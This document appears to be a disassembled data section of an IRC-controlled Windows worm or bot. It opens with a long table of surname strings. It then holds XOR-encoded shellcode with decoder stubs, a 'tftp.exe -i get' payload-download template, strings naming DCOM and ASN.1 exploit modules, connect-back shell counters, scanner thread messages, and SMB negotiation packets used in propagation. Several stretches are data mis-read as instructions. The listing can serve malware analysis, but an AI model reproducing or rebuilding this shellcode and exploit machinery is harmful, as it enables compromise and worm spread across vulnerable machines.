		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		db 88h,	0D8h
; ---------------------------------------------------------------------------


loc_43ECD2:				; CODE XREF: .data:0043ECF8j
		inc	ebx
		add	[eax-67FFBC28h], dl
		fadd	dword ptr [ebx+0]
		mov	al, ds:0AC0043D8h
		fadd	dword ptr [ebx+0]
		mov	eax, 0C00043D8h
		fadd	dword ptr [ebx+0]
		enter	43D8h, 0
		rcr	al, 1
		inc	ebx
		add	al, bl
		fadd	dword ptr [ebx+0]
		loopne	loc_43ECD2
		inc	ebx
		add	al, ch
		fadd	dword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
; ---------------------------------------------------------------------------
		and	bl, bl
		inc	ebx
		add	[eax], ch


loc_43EDED:				; CODE XREF: .data:0043EE10j
		fild	dword ptr [ebx+0]
		xor	al, 0DBh
		inc	ebx
		add	[eax], bh
		fild	dword ptr [ebx+0]
		inc	eax
		fild	dword ptr [ebx+0]
		dec	eax
		fild	dword ptr [ebx+0]
		pop	eax
		fild	dword ptr [ebx+0]
		pusha
		fild	dword ptr [ebx+0]
		push	700043DBh
		fild	dword ptr [ebx+0]
		js	short loc_43EDED
		inc	ebx
		add	[eax-77FFBC25h], al
		fild	dword ptr [ebx+0]
		nop
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		mov	al, ds:0A80043DBh
		fild	dword ptr [ebx+0]
		mov	al, 0DBh
		inc	ebx
		add	[eax-43FFBC25h], bh
		fild	dword ptr [ebx+0]
		enter	43DBh, 0
		int	3		; Trap to Debugger
		fild	dword ptr [ebx+0]
		aam	0DBh
		inc	ebx
		add	ah, bl
		fild	dword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
dword_43EE64	dd 7325h	dword_43EE68	dd 69257325h, 0	dword_43EE70	dd 7325h	dword_43EE74	dd 69257325h, 0	dword_43EE7C	dd 4350h	dword_43EE80	dd 4350h	dword_43EE84	dd 4350h	dword_43EE88	dd 69257325h, 0	dword_43EE90	dd 7C7325h	dword_43EE94	dd 69257325h, 0	dword_43EE9C	dd 3539h	dword_43EEA0	dd 544Eh	dword_43EEA4	dd 3839h	dword_43EEA8	dd 454Dh	dword_43EEAC	dd 4B32h	dword_43EEB0	dd 5058h	dword_43EEB4	dd 334B32h	dword_43EEB8	dd 3F3F3Fh	dword_43EEBC	dd 5D73255Bh, 7Chdword_43EEC4	dd 69257325h, 0	aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4092B9+1Fo
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_4092B9+2Co
aDS		db '[%d]%s',0           ; DATA XREF: sub_4092B9+3Ao
		align 10h
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_4092B9:loc_409308o
		align 4
aM_1		db '[M]',0              ; DATA XREF: sub_4092B9+5Co
		align 10h


loc_43EEF0:				; DATA XREF: sub_409562+BEo
		jmp	short loc_43EEF4
; ---------------------------------------------------------------------------


loc_43EEF2:				; CODE XREF: .data:loc_43EEF4p
		jmp	short loc_43EEF9
; ---------------------------------------------------------------------------


loc_43EEF4:				; CODE XREF: .data:loc_43EEF0j
		call	loc_43EEF2


loc_43EEF9:				; CODE XREF: .data:loc_43EEF2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43EEFE	dw 0FFFFh		; DATA XREF: sub_409562+C6w
		db 80h,	73h, 0Eh
byte_43EF03	db 0FFh			; DATA XREF: sub_409562+CDw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_43EF08:				; DATA XREF: sub_409562+9Co
		jmp	short loc_43EF0C
; ---------------------------------------------------------------------------


loc_43EF0A:				; CODE XREF: .data:loc_43EF0Cp
		jmp	short loc_43EF11
; ---------------------------------------------------------------------------


loc_43EF0C:				; CODE XREF: .data:loc_43EF08j
		call	loc_43EF0A


loc_43EF11:				; CODE XREF: .data:loc_43EF0Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_43EF15	db 0FFh			; DATA XREF: sub_409562+A4w
		dw 7380h
		db 0Ch
byte_43EF19	db 0FFh			; DATA XREF: sub_409562+AAw
		dw 0E243h
		dd 0F9h
dword_43EF20	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_4093EB+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43EF84	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_4093EB+79o
aJ_0		db 'j',0
		db 0E8h
dword_43EF9D	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43EFA4
		retn
; ---------------------------------------------------------------------------
byte_43EFA4	db 0E8h			; CODE XREF: .data:0043EFA1j
dword_43EFA5	dd 1		byte_43EFA9	db 0, 6Ah, 0		; DATA XREF: sub_4093EB+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43EFB3	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; CloseHandle
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
dword_43EFE4	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_409720+10o
dword_43EFF8	dd 202E6425h, 7325haSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4098EB+35o
		align 4
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_4098EB+51o
		align 10h
aDcom2135	db 'dcom2-135',0        ; DATA XREF: sub_409DF2+4Fo
					; sub_40A84F+155o
aDcom2135_0	db 'Dcom2-135',0        ; DATA XREF: sub_409D2C+30o
					; sub_40C16C+243o ...
		dd 5 dup(0)
dword_43F068	dd 87h							; sub_401C87+19B1o ...
off_43F06C	dd offset sub_40C16C	; DATA XREF: sub_40A84F+1D7r
dword_43F070	dd 0							; .data:0040BB89r ...
dword_43F074	dd 1		dword_43F078	dd 0		dword_43F07C	dd 0				dd 6D6F6364h, 34342D32h, 63440035h, 2D326D6Fh, 353434h
		dd 5 dup(0)
		dd 1BDh, 40C16Ch, 0
		dd 1, 2	dup(0)
		dd 2D6C7173h, 33333431h, 71730000h, 34312D6Ch, 3333h, 5	dup(0)
		dd 599h, 40C414h, 0
		dd 1, 2	dup(0)
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40B9EBh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40B9EBh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 2D6C7173h, 33333431h
		db 2 dup(0)
byte_43F1CA	db 1			; DATA XREF: sub_401C87:loc_403588r
					; sub_401C87+190Bo
aAsn445_0	db 'asn445',0
		align 4
		dd 63640100h, 2D326D6Fh, 353434h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_43F202

; =============== S U B	R O U T	I N E =======================================



sub_43F1F2	proc near		; CODE XREF: sub_43F1F2:loc_43F202p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43F1FA:				; CODE XREF: sub_43F1F2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43F1FA
		jmp	short loc_43F207
; ---------------------------------------------------------------------------


loc_43F202:				; CODE XREF: .data:0043F1F0j
		call	sub_43F1F2


loc_43F207:				; CODE XREF: sub_43F1F2+Ej
		jo	short near ptr dword_43F184+1Eh
		cwde
		cdq
		cdq
		retn
sub_43F1F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_43F370	db  2Dh	; -		; DATA XREF: sub_409B9F+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
dword_43F390	dd 25370320h, 203A0373h, 2C6425haTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_409B9F+85o
		align 10h
unk_43F3B0	db  2Dh	; -		; DATA XREF: sub_409C6D+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43F3F8	db  2Dh	; -		; DATA XREF: sub_409CD8+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
dword_43F424	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_409D2C+14o
		dd 7473694Ch, 3Ah
dword_43F440	dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_409D2C+7Eo
unk_43F460	db  2Dh	; -		; DATA XREF: sub_409DF2+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_43F490	db  2Dh	; -		; DATA XREF: sub_409DF2+16Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_43F4C4	db  2Dh	; -		; DATA XREF: sub_409FA4+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43F4E0	db  2Dh	; -		; DATA XREF: sub_409FA4+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_43F500	db  2Dh	; -		; DATA XREF: sub_40A01B+D7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_43F534	db  2Dh	; -		; DATA XREF: sub_40A01B+137o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43F568	db  2Dh	; -		; DATA XREF: sub_40A01B+1FFo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_2	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_43F59C	db  2Dh	; -		; DATA XREF: sub_40A01B+25Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_20	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_43F5D0	db  2Dh	; -		; DATA XREF: sub_40A01B+326o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_3	db '- Server started on Port: %d.',0
		align 10h
unk_43F600	db  2Dh	; -		; DATA XREF: sub_40A01B+386o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_21	db '- Failed to start server, error: <%d>.',0
unk_43F638	db  2Dh	; -		; DATA XREF: sub_40A01B+440o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_43F674	db  2Dh	; -		; DATA XREF: sub_40A01B+4C5o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_22	db ' Failed to start server, error: <%d>.',0
		align 4
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40A547+38o
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .data:0040A775o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .data:0040A7ACo
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .data:0040A819o
		align 10h
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .data:loc_40A829o
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .data:loc_40A83Do
		align 4
unk_43F72C	db  2Dh	; -		; DATA XREF: sub_40A84F+84o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43F764	db  2Dh	; -		; DATA XREF: sub_40A84F+DCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43F78C	db  2Dh	; -		; DATA XREF: sub_40AA63+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 10h
unk_43F7C0	db  2Dh	; -		; DATA XREF: sub_40AA63+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43F7F4	db  2Dh	; -		; DATA XREF: sub_40AA63+168o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43F82C	db  2Dh	; -		; DATA XREF: sub_40AA63+1E0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_43F86C	db  2Dh	; -		; DATA XREF: sub_40ACBA+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_43F894	db  2Dh	; -		; DATA XREF: sub_40AD87+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_43F8BC	db  2Dh	; -		; DATA XREF: sub_40AE78+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_43F8E8	db  2Dh	; -		; DATA XREF: sub_40AE78+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 8
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40B21F+B2o
		align 4
dword_43F924	dd 10FF8h, 0	dword_43F92C	dd 10FF8h	dword_43F930	dd 7FFDF020h, 0	dword_43F938	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43F9C0	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43F9F0	dd 0				dd 800000D4h, 2	dup(0)
